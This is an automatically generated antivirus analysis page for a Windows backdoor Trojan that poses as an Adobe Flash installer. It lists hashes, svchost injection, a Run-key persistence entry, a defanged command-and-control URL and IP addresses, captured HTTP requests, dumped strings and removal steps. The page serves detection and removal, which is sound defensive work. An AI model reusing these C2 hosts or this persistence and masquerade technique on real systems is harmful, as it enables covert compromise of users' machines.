Gen.Variant.Kazy.290327_415209454e

by malwarelabrobot on December 11th, 2014 in Malware Descriptions.

Trojan.Win32.Inject.azgw (Kaspersky), Gen:Variant.Kazy.290327 (B) (Emsisoft), Gen:Variant.Kazy.290327 (AdAware), Backdoor.Win32.Simbot.FD, BackdoorSimbot.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 415209454ea49e61153b5da020e33b75
SHA1: 58551486b8b6c043a4d77eef71beaabe6195339c
SHA256: b9f268ffc022c93013906e035dc4584921419dd1de2019ca83815ffe6ae529ca
SSDeep: 768:FLUgdbPQ3Fe6vANDy/qzmF6cjQIkp32Qwk7X:FLDP gwCTmkcjNkNz
Size: 27136 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-29 09:37:00
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regedit.exe:952
%original file name%.exe:2576

The Trojan injects its code into the following process(es):

svchost.exe:2436

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2576 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\[email protected] (48 bytes)
C:\%original file name%.exe.tmp1 (1257 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-796845957-1563985344-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_f3a4e041-90c9-46df-a35a-850a694fae5b (44 bytes)

Registry activity

The process regedit.exe:952 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 75 DE 5A 2A 22 E8 B7 4E 23 7A 7B 90 34 88 3F"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"HTTPFilter" = "%Documents and Settings%\%current user%\Local Settings\HTTPFilter.exe"

The process %original file name%.exe:2576 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D B4 75 75 EF 34 01 E0 CB 92 4F DC 74 FF 5D 48"

Dropped PE files

MD5 File path
0e3a039bfb2749b0be940230e336ec21 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\HTTPFilter.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: Adobe Systems, Inc.
Product Name: Flash? Player Installer/Uninstaller
Product Version: 10,1,53,64
Legal Copyright: Copyright ? 1996-2010 Adobe, Inc.
Legal Trademarks: Adobe? Flash? Player
Original Filename: FlashUtil.exe
Internal Name: Adobe? Flash? Player Installer/Uninstaller 10.1
File Version: 10,1,53,64
File Description: Adobe? Flash? Player Installer/Uninstaller 10.1 r53
Comments:
Language: English

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 22760 23040 5.09303 533e605886cb1a88a4d977474c37d2e1
.rdata 28672 996 1024 3.17402 d214cdade079311d21d114ce97e26661
.data 32768 931 512 2.45905 8cafb1cec44ea11336f8852ec6e60254
.rsrc 36864 1136 1536 1.84173 b5ed7b029bc65184d8f3a398fb854e6d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 13
1a72eeb88199e6a6f4db48d51d30c1c9
8b3ae7ae845360264b74811cd6f2273b
a68582cb34430155e7ac9c9260f90e56
1f25209ab908996a470f26261bb94b33
3492fed5d387eac358c966e612c6deca
814dff71507d822b86f3d42524932cc8
27823e93530f65cc767ddbc2c78f6f15
4b309fdf7ea245b0170583df6f41fce8
0c8ac4129832fd91e63b32466b7a1534
5f20423d6b1b5d3ab5b3624957d5e320
a8d8947bfd03fc505062545a70467083
03aca28424bf46cde6dc2894c1b1be07
7888325139066acfa74022fc606f3c91

URLs

URL IP
hxxp://www.gov.toh.info/aqdje.php?id=011972111D304CEG3G 211.234.117.178


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /aqdje.php?id=011972111D304CEG3G HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: VVV.gov.toh.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 404 Not Found
Date: Thu, 11 Dec 2014 00:04:48 GMT
Server: Apache/2.2.15 (CentOS)
Content-Length: 289
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /aq
dje.php was not found on this server.</p>.<hr>.<address
>Apache/2.2.15 (CentOS) Server at VVV.gov.toh.info Port 80</addr
ess>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

svchost.exe_2436:

.text
`.rdata
@.data
SSh@C@
MFC42.DLL
MSVCRT.dll
_acmdln
WinExec
KERNEL32.dll
USER32.dll
ADVAPI32.dll
HttpQueryInfoA
InternetOpenUrlA
HttpSendRequestA
HttpOpenRequestA
WININET.dll
WS2_32.dll
iphlpapi.dll
SHLWAPI.dll
VVV.gov.toh.info
200.115.173.102
regedit.exe /s
~dfds3.reg
Windows Registry Editor Version 5.00
"%s"="%s"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinHttp
%s.tmp1
[email protected]
hXXp://%s:%d/%s.php?id=d%s&ext=%s
/%s.php?id=d%s&ext=%s
hXXp://%s:%d/%s.php?id=d%s
%c%c%c%c%c
/%s.php?id=d%s
%%temp%%\%u
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
X-X-X-X-X-X
01-01-01-01-01-01
%c%c%c%c%c%c.exe

svchost.exe_2436_rwx_00400000_00005000:

.text
`.rdata
@.data
SSh@C@
MFC42.DLL
MSVCRT.dll
_acmdln
WinExec
KERNEL32.dll
USER32.dll
ADVAPI32.dll
HttpQueryInfoA
InternetOpenUrlA
HttpSendRequestA
HttpOpenRequestA
WININET.dll
WS2_32.dll
iphlpapi.dll
SHLWAPI.dll
VVV.gov.toh.info
200.115.173.102
regedit.exe /s
~dfds3.reg
Windows Registry Editor Version 5.00
"%s"="%s"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinHttp
%s.tmp1
[email protected]
hXXp://%s:%d/%s.php?id=d%s&ext=%s
/%s.php?id=d%s&ext=%s
hXXp://%s:%d/%s.php?id=d%s
%c%c%c%c%c
/%s.php?id=d%s
%%temp%%\%u
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
X-X-X-X-X-X
01-01-01-01-01-01
%c%c%c%c%c%c.exe


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    regedit.exe:952
    %original file name%.exe:2576

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\[email protected] (48 bytes)
    C:\%original file name%.exe.tmp1 (1257 bytes)
    %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-796845957-1563985344-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_f3a4e041-90c9-46df-a35a-850a694fae5b (44 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "HTTPFilter" = "%Documents and Settings%\%current user%\Local Settings\HTTPFilter.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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